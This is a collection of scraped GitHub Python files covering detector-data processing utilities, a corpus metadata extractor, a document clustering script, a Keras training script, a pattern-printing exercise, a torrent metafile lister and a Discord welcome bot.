+{"seq_id":"36431965523","text":"\"\"\"\nUtilities for the use with the handling of the gathered data\nin the datenraffinerie.\n\"\"\"\nimport subprocess as sp\nimport numpy as np\nfrom pathlib import Path\nimport os\nimport shutil\nimport pandas as pd\nimport tables\nimport yaml\nimport logging\n\n\nclass AnalysisError(Exception):\n    def __init__(self, message):\n        super().__init__(message)\n\n\ndef cartesian(arrays, dtype=np.float32):\n    n = 1\n    for i in range(len(arrays)):\n        arrays[i] = np.array(arrays[i], dtype=dtype)\n    for x in arrays:\n        n *= x.size\n    out = np.zeros((n, len(arrays)), dtype=dtype)\n\n    for i in range(len(arrays)):\n        m = int(n / arrays[i].size)\n        out[:n, i] = np.repeat(arrays[i], m)\n        n //= arrays[i].size\n\n    n = arrays[-1].size\n    for k in range(len(arrays)-2, -1, -1):\n        n *= arrays[k].size\n        m = int(n / arrays[k].size)\n        for j in range(1, arrays[k].size):\n            out[j*m:(j+1)*m, k+1:] = out[0:m, k+1:]\n    return out\n\n\ndef read_whole_dataframe(pytables_filepath):\n    dfile = tables.open_file(pytables_filepath, 'r')\n    table = dfile.root.data.measurements\n    df = pd.DataFrame.from_records(table.read())\n    dfile.close()\n    return df\n\n\ndef read_dataframe_chunked(pytables_filepaths):\n    for filepath in pytables_filepaths:\n        dfile = tables.open_file(filepath)\n        table = dfile.root.data.measurements\n        yield pd.DataFrame.from_records(table.read())\n        dfile.close()\n\n\ndef start_compiled_fracker(rootfile: Path,\n                           hdf_file: Path,\n                           full_config_path: Path,\n                           raw_data: bool,\n                           columns: list,\n                           compression: int,\n                           logger: logging.Logger,\n                           block_size: int = 2000000):\n    \"\"\"\n    Assuming there is a fracker command that merges in the configuration\n    and transforms the root into the hdf file call it with the proper arguments\n    \"\"\"\n    compiled_fracker_path = shutil.which('fracker')\n    if compiled_fracker_path is None:\n        raise FileNotFoundError('The compiled fracker could not be found')\n    # build the column list if none has been provided\n    if columns is None:\n        if raw_data:\n            columns = event_mode_data_columns.copy()\n        else:\n            columns = data_columns.copy()\n        columns += expected_columns\n\n    # assemble the fracker command string passed to the system\n    fracker_command_tokens = [compiled_fracker_path]\n    fracker_command_tokens.append('-c')\n    fracker_command_tokens.append(str(full_config_path.absolute()))\n    fracker_command_tokens.append('-i')\n    fracker_command_tokens.append(str(rootfile.absolute()))\n    fracker_command_tokens.append('-o')\n    fracker_command_tokens.append(str(hdf_file.absolute()))\n    fracker_command_tokens.append('-b')\n    fracker_command_tokens.append(str(block_size))\n    fracker_command_tokens.append('-s')\n    fracker_command_tokens += [str(col) for col in columns]\n    fracker_command_tokens.append('-p')\n    fracker_command_tokens.append(str(compression))\n    fracker_command_tokens.append('-f')\n    fracker_command_tokens.append('full' if raw_data else 'summary')\n    logger.info(\n        'Ran fracker with command: ' + ' '.join(fracker_command_tokens))\n    return sp.Popen(fracker_command_tokens, stdout=sp.PIPE)\n\n\ndef run_turbo_pump(output_file: str, input_files: list):\n    \"\"\"\n    run the compiled turbo pump to merge files\n    \"\"\"\n    turbo_pump_path = shutil.which('turbo-pump')\n    tp_output = \" -o \" + str(output_file)\n    tp_input = \" -i\"\n    for inp in input_files:\n        tp_input += \" \" + str(inp)\n    full_turbo_p_command = turbo_pump_path + tp_output + tp_input\n    return os.system(full_turbo_p_command)\n\n\ndef start_unpack(raw_path,\n                 unpacked_path,\n                 logger: logging.Logger,\n                 raw_data: bool = False,\n                 characMode: bool = False):\n    # we need to create a meta-yaml file for the unpacker\n    meta_yaml_path = os.path.splitext(\n            os.path.abspath(unpacked_path))[0] + '_unpack_meta.yaml'\n    meta_yaml = {}\n    meta_yaml['metaData'] = {}\n    meta_yaml['metaData']['characMode'] = 1 if characMode else 0\n    meta_yaml['metaData']['keepRawData'] = 1 if raw_data else 0\n    meta_yaml['metaData']['keepSummary'] = 0 if raw_data else 1\n    meta_yaml['metaData']['chip_params'] = {}\n    with open(meta_yaml_path, 'w+') as mcf:\n        mcf.write(yaml.safe_dump(meta_yaml))\n\n    unpack_command_path = shutil.which('unpack')\n    if unpack_command_path is None:\n        raise FileNotFoundError('Unable to find the unpack command')\n    unpack_command_tokens = ['unpack']\n    # add the input file to the token list\n    unpack_command_tokens.append('-i')\n    unpack_command_tokens.append(str(raw_path))\n    # add the output file to the token list\n    unpack_command_tokens.append('-o')\n    unpack_command_tokens.append(str(unpacked_path))\n    unpack_command_tokens.append('-M')\n    unpack_command_tokens.append(str(meta_yaml_path))\n    logger.info('starting unpack command: ' + ' '.join(unpack_command_tokens))\n    return sp.Popen(unpack_command_tokens, stdout=sp.PIPE)\n\n\ndef compute_channel_type_from_event_data(chip: int, channel: int, half: int):\n    if channel <= 35:\n        out_channel = channel * (half + 1)\n        out_type = 0\n    if channel == 36:\n        out_channel = half\n        out_type = 1\n    if channel > 36:\n        out_channel = channel - 37 + (half * 2)\n        out_type = 100\n    return chip, out_channel, out_type\n\n\nevent_mode_data_columns = [\n        'event', 'chip', 'half', 'channel', 'adc', 'adcm', 'toa',\n        'tot', 'totflag', 'trigtime', 'trigwidth', 'corruption',\n        'bxcounter', 'eventcounter', 'orbitcounter']\n\ndata_columns = ['chip', 'channel', 'channeltype',\n                'adc_median', 'adc_iqr', 'tot_median',\n                'tot_iqr', 'toa_median', 'toa_iqr', 'adc_mean',\n                'adc_stdd', 'tot_mean',\n                'tot_stdd', 'toa_mean', 'toa_stdd', 'tot_efficiency',\n                'tot_efficiency_error', 'toa_efficiency',\n                'toa_efficiency_error']\nexpected_columns = [\n    'Adc_pedestal', 'Channel_off', 'DAC_CAL_CTDC_TOA', 'DAC_CAL_CTDC_TOT',\n    'DAC_CAL_FTDC_TOA', 'DAC_CAL_FTDC_TOT', 'DIS_TDC', 'ExtData',\n    'HZ_inv', 'HZ_noinv', 'HighRange', 'IN_FTDC_ENCODER_TOA',\n    'IN_FTDC_ENCODER_TOT', 'Inputdac', 'LowRange', 'mask_AlignBuffer',\n    'mask_adc', 'mask_toa', 'mask_tot', 'probe_inv',\n    'probe_noinv', 'probe_pa', 'probe_toa', 'probe_tot',\n    'sel_trig_toa', 'sel_trig_tot', 'trim_inv', 'trim_toa',\n    'trim_tot', 'Adc_TH', 'Bx_offset', 'CalibrationSC',\n    'ClrAdcTot_trig', 'IdleFrame', 'L1Offset', 'MultFactor',\n    'SC_testRAM', 'SelTC4', 'Tot_P0', 'Tot_P1',\n    'Tot_P2', 'Tot ', 'Tot_P_Add',\n    'Tot_TH0', 'Tot_TH1', 'Tot_TH2', 'Tot_TH3',\n    'sc_testRAM', 'Cf', 'Cf_comp', 'Clr_ADC',\n    'Clr_ShaperTail', 'Delay40', 'Delay65', 'Delay87',\n    'Delay9', 'En_hyst_tot', 'Ibi_inv', 'Ibi_inv_buf',\n    'Ibi_noinv', 'Ibi_noinv_buf', 'Ibi_sk', 'Ibo_inv',\n    'Ibo_inv_buf', 'Ibo_no ', 'Ibo_noinv_buf',\n    'Ibo_sk', 'ON ', 'ON_ref_adc',\n    'ON_rtr', 'ON_toa', 'ON_tot', 'Rc',\n    'Rf', 'S_inv', 'S_inv_buf',\n    'S_noinv', 'S_noinv_buf', 'S_sk', 'SelExtADC',\n    'SelRisingEdge', 'dac_pol', 'gain_tot', 'neg',\n    'pol_trig_toa', 'range_indac', 'range_inv', 'range_tot',\n    'ref_adc', 'trim_vbi_pa', 'trim_vbo_pa', 'BIAS_CAL_DAC_CTDC_P_D',\n    'BIAS_CAL_DAC_CTDC_P_EN', 'BIAS_FOLLOWER_CAL_P_CTDC_EN',\n    'BIAS_FOLLOWER_CAL_P_D', 'BIAS_FOLLOWER_CAL_P_FTDC_D',\n    'BIAS_FOLLOWER_CAL_P_FTDC_EN', 'BIAS_I_CTDC_D',\n    'BIAS_I_FTDC_D', 'CALIB_CHANNEL_DLL',\n    'CTDC_CALIB_FREQUENCY', 'CTRL_IN_REF_CTDC_P_D',\n    'CTRL_IN_REF_CTDC_P_EN', 'CTRL_IN_REF_FTDC_P_D',\n    'CTRL_IN_REF_FTDC_P_EN', 'CTRL_IN_SIG_CTDC_P_D',\n    'CTRL_IN_SIG_CTDC_P_EN', 'CTRL_IN_SIG_FTDC_P_D',\n    'CTRL_IN_SIG_FTDC_P_EN', 'EN_MASTER_CTDC_DLL',\n    'EN_MASTER_CTDC_VOUT_INIT', 'EN_MASTER_FTDC_DLL',\n    'EN_MASTER_FTDC_VOUT_INIT', 'EN_REF_BG',\n    'FOLLOWER_CTDC_EN', 'FOLLOWER_FTDC_EN',\n    'FTDC_CALIB_FREQUENCY', 'GLOBAL_DISABLE_TOT_LIMIT',\n    'GLOBAL_EN_BUFFER_CTDC', 'GLOBAL_EN_BUFFER_FTDC',\n    'GLOBAL_EN_TOT_PRIORITY', 'GLOBAL_EN_TUNE_GAIN_DAC',\n    'GLOBAL_FORCE_EN_CLK', 'GLOBAL_FORCE_EN_OUTPUT_DATA',\n    'GLOBAL_FORCE_EN_TOT', 'GLOBAL_INIT_DAC_B_CTDC',\n    'GLOBAL_LATENCY_TIME', 'GLOBAL_MODE_FTDC_TOA',\n    'GLOBAL_MODE_NO_TOT_SUB', 'GLOBAL_MODE_TOA_DIRECT_OUTPUT',\n    'GLOBAL_SEU_TIME_OUT', 'GLOBAL_TA_SELECT_GAIN_TOA',\n    'GLOBAL_TA_SELECT_GAIN_TOT', 'INV_FRONT_40MHZ',\n    'START_COUNTER', 'VD_CTDC_N_D',\n    'VD_CTDC_N_DAC_EN', 'VD_CTDC_N_FORCE_MAX',\n    'VD_CTDC_P_D', 'VD_CTDC_P_DAC_EN',\n    'VD_FTDC_N_D', 'VD_FTDC_N_DAC_EN',\n    'VD_FTDC_N_FORCE_MAX', 'VD_FTDC_P_D',\n    'VD_FTDC_P_DAC_EN', 'sel_clk_rcg', 'Calib', 'ExtCtest',\n    'IntCtest', 'Inv_vref', 'Noinv_vref', 'ON_dac',\n    'Refi', 'Toa_vref', 'Tot_vref', 'Vbg_1v',\n    'probe_dc', 'probe_dc1', 'probe_dc2', 'BIAS_I_PLL_D',\n    'DIV_PLL', 'EN', 'EN_HIGH_CAPA', 'EN_LOCK_CONTROL',\n    'EN_PLL', 'EN_PhaseShift', 'EN_RCG', 'EN_REF_BG',\n    'EN_probe_pll', 'ENpE', 'ERROR_LIMIT_SC', 'EdgeSel_T1',\n    'FOLLOWER_PLL_EN', 'INIT_D', 'INIT_DAC_EN', 'Pll_Locked_sc',\n    'PreL1AOffset', 'RunL', 'RunR', 'S',\n    'TestMode', 'VOUT_INIT_EN', 'VOUT_INIT_EXT_D', 'VOUT_INIT_EXT_EN',\n    'b_in', 'b_out', 'err_countL', 'err_countR',\n    'fc_error_count', 'in_inv_cmd_rx', 'lock_count', 'n_counter_rst',\n    'phase_ck', 'phase_strobe', 'rcg_gain', 'sel_40M_ext',\n    'sel_error', 'sel_lock', 'sel_strobe_ext', 'srout',\n    'statusL', 'statusR', 'Tot_P3', 'Ibo_noinv', 'ON_pa'\n    ]\n\ndaq_columns = ['Bx_trigger',\n               'A_enable',\n               'B_enable',\n               'C_enable',\n               'D_enable',\n               'A_BX',\n               'B_BX',\n               'C_BX',\n               'D_BX',\n               'A_length',\n               'B_length',\n               'C_length',\n               'D_length',\n               'A_prescale',\n               'B_prescale',\n               'C_prescale',\n               'D_prescale',\n               ]\n","repo_name":"Phylex/Datenraffinerie","sub_path":"datenraffinerie/analysis_utilities.py","file_name":"analysis_utilities.py","file_ext":"py","file_size_in_byte":10110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71062737151","text":"import gzip\nimport re\n\n\ntensusers_files = \"/vol/tensusers/timzee/cgn/\"\ncgn_files = \"/vol/bigdata/corpora2/CGN2/data/annot/\"\n\nheader = \"component,language,filename,chunk_id,word_id,channel,chunk_start,chunk_end,word_ort,word_phon,next_phon,oov_in_chunk,word_pos\\n\"\n\nwith open(tensusers_files + \"s_words.csv\", \"w\") as f:\n    f.write(header)\n\nwith open(tensusers_files + \"cgn_index_171218_pron_s.txt\", \"r\") as f:\n    s_lines = f.readlines()\n\n\nline_counter = 0\nfilename_old = \"\"\nfor line in s_lines:\n    line_counter += 1\n    if line_counter % 1000 == 0:\n        print(line_counter / len(s_lines) * 100, \" percent\")\n    line_list = line.split(\",\")\n    component = \"comp-\" + line_list[0].split(\"/\")[0]\n    language, filename = line_list[0].split(\"/\")[1:3]\n    channel, chunk_start, chunk_end = line_list[1:4]\n    oov_in_chunk = \"1\" if re.search(r'\\?\\?', line_list[5]) else \"0\"\n    \n    if filename != filename_old:\n        with gzip.open(cgn_files + \"text/plk/\" + component + \"/\" + language + \"/\" + filename + \".plk.gz\", \"rt\", encoding='latin-1') as f:\n            plk_text = f.read()\n        with gzip.open(cgn_files + \"xml/skp-ort/\" + component + \"/\" + language + \"/\" + filename + \".skp.gz\", \"rt\", encoding='ascii') as f:\n            skp_text = f.read()\n        plk_chunk_list = re.split(r\"<.*>\\n\", plk_text)[1:]\n        plk_lines_list = [chunk.split(\"\\n\") for chunk in plk_chunk_list]\n        plk_marker_list = re.findall(r\"<.*>\", plk_text)\n        plk_id_list = [re.search(r'(?<=id=\")[0-9]+', marker).group(0) for marker in plk_marker_list]\n        assert len(plk_id_list) == len(plk_lines_list)\n        plk_dict = dict(zip(plk_id_list, plk_lines_list))\n    \n    phon_list = re.sub(r'\\n', \"\", line_list[5]).split(\" ++ \")\n    counter = 0\n    for word_phon in phon_list:\n        counter += 1\n        if word_phon[-1] == \"s\":\n#            print(filename, chunk_start, word_phon)\n            skp_marker_g = re.search(r'<t.*tb=\"{}\" te=\"{}.*(s|x|z|sch|ce)\"/>'.format(chunk_start, chunk_end), skp_text, flags=re.I)\n            if skp_marker_g == None:\n                continue\n            skp_marker = skp_marker_g.group(0)\n            skp_text = re.sub(r'<t.*tb=\"{}\" te=\"{}.*(s|x|z|sch|ce)\"/>'.format(chunk_start, chunk_end), '', skp_text, count=1, flags=re.I)\n            chunk_id_string = re.search(r'(?<=ref=\")[a-z0-9.]+', skp_marker).group(0)\n            chunk_id = chunk_id_string.split(\".\")[1]\n            word_index = int(chunk_id_string.split(\".\")[2]) - 1\n#            word_index += counter\n            assert chunk_id in plk_dict\n#            assert len(phon_list) == len(plk_dict[chunk_start]) + 1\n            if word_index >= len(plk_dict[chunk_id]):\n                print(\"mislabelled chunk, continuing on...\")\n                continue\n            word_info = plk_dict[chunk_id][word_index].split(\"\\t\")\n            if len(word_info) < 3:\n                print(word_phon, filename, chunk_id, word_index, \"had an indexing error, continuing on...\")\n                continue\n            word_ort = word_info[0]\n            word_pos = re.sub(r',', ';', word_info[1])\n            next_phon = phon_list[counter] if counter < len(phon_list) else \"NA\"\n            with open(tensusers_files + \"s_words.csv\", \"a\") as f:\n                f.write(\",\".join([component, language, filename, chunk_id, str(word_index), channel, chunk_start, chunk_end, word_ort, word_phon, next_phon, oov_in_chunk, word_pos]) + \"\\n\")\n    filename_old = filename[:]\n    \n    \n","repo_name":"timjzee/dmc-scripts","sub_path":"getMetadataS.py","file_name":"getMetadataS.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37019049959","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 28 22:44:17 2020\n\n@author: Yuan Zhou\n\"\"\"\nfrom sklearn.cluster import KMeans\nimport numpy as np\nimport pandas as pd\nimport sys\nimport matplotlib.pyplot as plt\nfrom sklearn.manifold import TSNE\nfrom sklearn.preprocessing import MinMaxScaler\n\n\nK = int(sys.argv[1])\nFILE_NAME = str(sys.argv[2]) \nAPPROACH_NAME = str(sys.argv[3]) \n\ndef load_data (filename):\n    return pd.read_json(filename, lines=True)\n\n\n#### Extract file to dataframe\ndf = load_data(FILE_NAME)\nX = df.values\nterms = df.columns\nitems_df = load_data('./items.jl')\nids = items_df['id'].tolist()\n\n##### Use K-Means to generate clusters\nscaler = MinMaxScaler()\nX_scaled = scaler.fit_transform(X)\n\n\nkmeans = KMeans(n_clusters=K, random_state=0).fit(X_scaled)\n\nclasses = kmeans.labels_.tolist()\n\n\nmds = TSNE(2,random_state=0)\nX_2d = mds.fit_transform(X_scaled)\n\n\ncolors = ['red','green','blue','cyan','orange', 'purple', 'pink', 'brown', 'grey', 'crimson']\nplt.rcParams['figure.figsize'] = [20, 20]\nplt.rc('font', size=14)\nplt.title(\"Docs Clustering|K={}|APPROACH_NAME={}\".format(K, APPROACH_NAME))\nfor i in range(0, len(X_2d)):\n    row = X_2d[i]\n    x = row[0]\n    y = row[1]\n    plt.scatter(x,y,c=colors[classes[i]], label=\"Class {}\".format(classes[i]))\n    plt.text(x, y, i, fontsize=8)\n\nhandles, labels = plt.gca().get_legend_handles_labels()\nby_label = dict(zip(labels, handles))\nplt.legend(by_label.values(), by_label.keys())\nplt.savefig(\"Docs|K={}|APPROACH_NAME={}.png\".format(K, APPROACH_NAME), dpi=200)\n\n\n## Show summary of docs of each cluster\nif K == 5:\n    print(\"---------------------{}--------------------\".format(APPROACH_NAME))\n    for k in range(0, K):\n        terms_weights = [0] * len(terms)\n        for i, doc in enumerate(X_scaled):\n            if classes[i] == k:\n                for index in range(0, len(terms_weights)):\n                    terms_weights[index] += doc[index]\n        print( \"Topic {} \\n  Terms: {}\".format( k, [x for _,x in sorted(zip(terms_weights, terms.copy()), reverse=True)][:10]))","repo_name":"yuanzhou91/post-covid-trend-analysis","sub_path":"Topic Modeling & Clustering/src/clustering-docs.py","file_name":"clustering-docs.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14272337162","text":"\"\"\"\nTrain model which uses facial geometry as input\n\n```\npython train.py [model]\n```\n\"\"\"\nimport argparse\nfrom collections import Counter\nfrom keras import losses\nfrom keras import callbacks\nfrom model import architecture, loader, evaluate, preprocessing\n\n\ndef get_model(name, input_shape):\n    \"\"\"\"\n    Retrieve model architecture depending on cmd args\n    \"\"\"\n    if name == 'mlp':\n        return architecture.mlp(input_shape)\n    if name == 'mlp_fv':\n        return architecture.mlp_fisher(input_shape)\n    if name == 'cnn_rnn':\n        return architecture.cnn_rnn(input_shape)\n    raise ValueError('Model {} is not defined'.format(name))\n\n\ndef get_class_weights(y):\n    \"\"\"\n    Determine class weights based on frequency distribution of labels\n\n    :param y:\n    :return:\n    \"\"\"\n    counter = Counter(y)\n    majority = max(counter.values())\n    return {cls: float(majority/count) for cls, count in counter.items()}\n\n\ndef train(args):\n    x, y = loader.load()\n\n    if args.model == 'mlp_fv':\n        x = preprocessing.to_fisher(x)\n        nb_samples, nb_landmarks, l = x.shape\n        input_shape = (nb_landmarks, l)\n    else:\n        nb_samples, nb_frames, nb_landmarks, _ = x.shape\n        input_shape = (nb_frames, nb_landmarks, 3)\n    # x = loader.compact_frames(x, window_size=5, step_size=2)\n    x_train, y_train, x_val, y_val = loader.split_data(x, y)\n\n    model = get_model(args.model, input_shape=input_shape)\n\n    print(\"Input shape: {}\".format(x.shape))\n    print(model.summary())\n\n    model.compile(optimizer='adam',\n                  loss=losses.binary_crossentropy,\n                  metrics=['accuracy'])\n\n    checkpointer = callbacks.ModelCheckpoint(filepath=\"data/weights.hdf5\", verbose=1, save_best_only=True)\n    early_stopping = callbacks.EarlyStopping(monitor='val_loss', min_delta=0, patience=2)\n\n    class_weights = get_class_weights(y_train)\n    model.fit(x_train, y_train,\n              epochs=50,\n              batch_size=8,\n              validation_data=(x_val, y_val),\n              callbacks=[\n                  checkpointer,\n                  early_stopping,\n              ],\n              class_weight=class_weights,\n              )\n\n    # Load best model\n    model.load_weights('data/weights.hdf5')\n\n    # Print evaluation matrix\n    train_score = model.evaluate(x_train, y_train)\n    val_score = model.evaluate(x_val, y_val)\n\n    print(model.metrics_names, train_score, val_score)\n\n    evaluate.evaluate(model, x_train, y_train)\n    evaluate.evaluate(model, x_val, y_val)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('model')\n    args = parser.parse_args()\n\n    train(args)\n","repo_name":"OutlierVentures/Stop-Bluffing","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74992523389","text":"# Program which displays below pattern\n# Input: 5\n# Output: * * * * *\n# \t\t  * * * * *\n# \t\t  * * * * *\n# \t\t  * * * * *\n# \t\t  * * * * *\n# Author : Shruti Pimparkar\n\ndef displayPattern(limit):\n\tfor i in range(limit):\n\t\tfor i in range(limit):\n\t\t\tprint(\"*\", end=\" \")\n\t\tprint()\n\ndef main():\n\tprint(\"Enter a number:\")\n\tdisplayPattern(int(input()))\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"shruti-p109/python","sub_path":"Problems Solving/Basic Problems/PatternPrinting1.py","file_name":"PatternPrinting1.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5725854775","text":"import hashlib\nimport logging\nimport sys\n\nfrom pathlib import Path\n\nimport bencode\n\nfrom pyrosimple.error import EX_DATAERR\nfrom pyrosimple.scripts.base import ScriptBase\n\n\nclass MetafileLister(ScriptBase):\n    \"\"\"List contents of a bittorrent metafile.\"\"\"\n\n    # argument description for the usage information\n    ARGS_HELP = \"<metafile>...\"\n\n    def add_options(self):\n        \"\"\"Add program options.\"\"\"\n        self.parser.add_argument(\"metafile\", nargs=\"+\", help=\"Torrent files to display\")\n        self.add_bool_option(\n            \"--reveal\",\n            help=\"show full announce URL including keys, as well as full piece information\",\n        )\n        self.add_bool_option(\n            \"--raw\", help=\"print the metafile's raw content in JSON format\"\n        )\n        self.add_bool_option(\n            \"-V\",\n            \"--skip-validation\",\n            help=\"show broken metafiles with an invalid structure\",\n        )\n        self.add_value_option(\n            \"-o\",\n            \"--output\",\n            \"KEY1,KEY2.SUBKEY,...\",\n            action=\"append\",\n            default=[],\n            help=\"select fields to print, output is separated by TABs;\"\n            \" note that __file__ is the path to the metafile,\"\n            \" __hash__ is the info hash,\"\n            \" and __size__ is the data size in bytes\",\n        )\n        self.add_value_option(\n            \"-c\",\n            \"--check-data\",\n            \"PATH\",\n            help=\"check the hash against the data in the given path\",\n        )\n\n    def mainloop(self):\n        \"\"\"The main loop.\"\"\"\n        from pyrosimple.util import metafile  # pylint: disable=import-outside-toplevel\n\n        self.args = self.options.metafile\n        if not self.args:\n            self.parser.print_help()\n            self.parser.error(\"No metafiles given, nothing to do!\")\n            self.parser.exit()\n\n        for idx, filename in enumerate(self.args):\n            if idx and not self.options.output and not self.options.raw:\n                print()\n                print(\"~\" * 79)\n\n            listing = None\n            try:\n                # Read and check metafile\n                try:\n                    filename = Path(filename)\n                    torrent = metafile.Metafile.from_file(filename)\n                    if not self.options.skip_validation:\n                        torrent.check_meta()\n                except OSError as exc:\n                    self.fatal(\n                        \"Can't read '%s' (%s)\"\n                        % (\n                            filename,\n                            str(exc).replace(\": '%s'\" % filename, \"\"),\n                        )\n                    )\n                    raise\n\n                if self.options.check_data:\n                    # pylint: disable=import-outside-toplevel\n                    from pyrosimple.util.metafile import PieceFailer\n                    from pyrosimple.util.ui import HashProgressBar\n\n                    try:\n                        with HashProgressBar() as pb:\n                            if (\n                                logging.getLogger(__name__).isEnabledFor(\n                                    logging.WARNING\n                                )\n                                and sys.stdout.isatty()\n                            ):\n                                progress_callback = pb().progress_callback\n                            else:\n                                progress_callback = None\n\n                            piece_logger = PieceFailer(torrent, self.log)\n\n                            torrent.hash_check(\n                                Path(self.options.check_data),\n                                progress_callback=progress_callback,\n                                piece_callback=piece_logger.check_piece,\n                            )\n                    except OSError as exc:\n                        print(\n                            f\"ERROR: File {str(filename)!r} did not hash check: {exc}\"\n                        )\n                        sys.exit(EX_DATAERR)\n\n                if self.options.raw:\n                    from pyrosimple.util.fmt import (  # pylint: disable=import-outside-toplevel\n                        BencodeJSONEncoder,\n                    )\n\n                    if not self.options.reveal and \"info\" in torrent:\n                        # Shorten useless binary piece hashes\n                        torrent[\"info\"][\"pieces\"] = \"<%d piece hashes>\" % (\n                            len(torrent[\"info\"][\"pieces\"])\n                            / len(hashlib.sha1().digest())\n                        )\n                        if \"piece layers\" in torrent:\n                            for l, p in torrent[\"piece layers\"].items():\n                                torrent[\"piece layers\"][l] = \"<%d piece hashes>\" % (\n                                    len(p) / 16 * 1024 * 1024\n                                )\n\n                    listing = BencodeJSONEncoder(indent=2).encode(torrent)\n                elif self.options.output:\n\n                    def splitter(fields):\n                        \"Yield single names for a list of comma-separated strings.\"\n                        for flist in fields:\n                            for field in flist.split(\",\"):\n                                yield field.strip()\n\n                    data = {}\n                    data[\"__file__\"] = filename\n                    if \"info\" in torrent:\n                        data[\"__hash__\"] = torrent.info_hash()\n                        data[\"__size__\"] = torrent.data_size()\n                    values = []\n                    for field in splitter(self.options.output):\n                        try:\n                            if field in data:\n                                val = data[field]\n                            else:\n                                val = dict(torrent)\n                                for key in field.split(\".\"):\n                                    val = val[key]\n                        except KeyError:\n                            self.log.error(\"%s: Field %r not found\", filename, field)\n                            break\n                        else:\n                            values.append(str(val))\n                    else:\n                        listing = \"\\t\".join(values)\n                else:\n                    listing = \"\\n\".join(torrent.listing(masked=not self.options.reveal))\n            except (ValueError, KeyError, bencode.BencodeDecodeError) as exc:\n                self.log.error(\n                    \"Bad metafile %r (%s: %s)\", filename, type(exc).__name__, exc\n                )\n                raise\n            if listing is not None:\n                print(listing)\n\n\ndef run():  # pragma: no cover\n    \"\"\"The entry point.\"\"\"\n    MetafileLister().run()\n\n\nif __name__ == \"__main__\":\n    run()\n","repo_name":"kannibalox/pyrosimple","sub_path":"src/pyrosimple/scripts/lstor.py","file_name":"lstor.py","file_ext":"py","file_size_in_byte":6835,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"60"}
+{"seq_id":"3755104282","text":"import typing\n\nimport discord\nfrom loguru import logger as log\n\nfrom discord_bot_the_eternal_gem.message_responder import MessageResponder\nfrom discord_bot_the_eternal_gem.welcomer import Welcomer\n\n\nclass TheEternalGemClient(discord.Client):\n    def __init__(self, welcomer: Welcomer, message_responder: MessageResponder, **options):\n        super().__init__(**options)\n\n        log.debug(\"configuring TheEternalGemClient...\")\n        log.debug(f\"welcomer={welcomer}\")\n        log.debug(f\"message_responder={message_responder}\")\n\n        self.welcomer = welcomer\n        self.message_responder = message_responder\n\n        self.guild_configs = {}\n\n    def configure_guild(self, guild_id: int, welcome_channel: int = None, guest_roles: typing.List[int] = None):\n        if guild_id not in self.guild_configs:\n            self.guild_configs[guild_id] = {}\n\n        if welcome_channel is not None:\n            self.guild_configs[guild_id]['welcome_channel'] = int(welcome_channel)\n\n        if guest_roles is not None:\n            self.guild_configs[guild_id]['guest_roles'] = [int(role) for role in guest_roles]\n\n    async def on_ready(self):\n        log.info(f\"We have logged in as {self.user}\")\n        log.info(\"Guild configs:\")\n        for guild_id, guild_config in self.guild_configs.items():\n            log.info(f\"{guild_id} => {guild_config}\")\n\n    async def on_message(self, message: discord.Message):\n        log.debug(f\"received message '{message.content}' from author '{message.author.id}'\")\n        if message.author.id == self.user.id:\n            log.debug(\"aborting own message.\")\n            return\n\n        for guild_id, guild_config in self.guild_configs.items():\n            if guild_id == message.guild.id:\n                await self.handle_message(guild_config, guild_id, message)\n\n    async def handle_message(self, guild_config: typing.Dict, guild_id: int, message: discord.Message):\n        welcome_channel = guild_config.get('welcome_channel', -1)\n        log.debug(f\"checking if message {message.channel.id} was from welcome channel {welcome_channel}\")\n        if welcome_channel == message.channel.id:\n            log.info(f\"welcome message found for guild {guild_id}.\")\n            guest_roles = guild_config.get('guest_roles', None)\n            await self.welcomer.handle_welcome_channel_message(message=message, guest_role_ids=guest_roles)\n        else:\n            await self.message_responder.handle_message(\n                guild_id=guild_id,\n                channel=message.channel,\n                message=message.content,\n            )\n\n    async def handle_welcome_channel_message(self, guild_config, message):\n        log.info(f\"\\tauthor={message.author.name}\")\n        log.info(f\"\\tnick={message.content}\")\n        discord_name = message.author.name\n        osrs_name = message.content\n        new_nick = await self.generate_nick(discord_name, osrs_name)\n        log.info(f\"new nick will be {new_nick}.\")\n        try:\n            log.debug(\"changing nickname...\")\n            await message.author.edit(nick=new_nick)\n            log.debug(\"nickname changed.\")\n\n            log.debug(\"deleting message...\")\n            await message.delete()\n            log.debug(\"message deleted.\")\n\n            log.debug(\"adding guest role...\")\n            guest_role = next(role for role in message.guild.roles if role.id == guild_config['guest_role'])\n            await message.author.add_roles(guest_role)\n            log.debug(\"guest role added.\")\n        except Exception as e:\n            log.error(e)\n\n    async def generate_nick(self, discord_name, osrs_name):\n        if len(discord_name) > 25:\n            return discord_name\n\n        expected_length = len(discord_name) + len(osrs_name) + 5\n        if expected_length > 32:\n            return f\"{discord_name} [{osrs_name[0:32 - len(discord_name) - 5]}..]\"\n\n        return f\"{discord_name} [{osrs_name}]\"\n","repo_name":"lesteenman/discord-bot-the-eternal-gem","sub_path":"discord_bot_the_eternal_gem/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
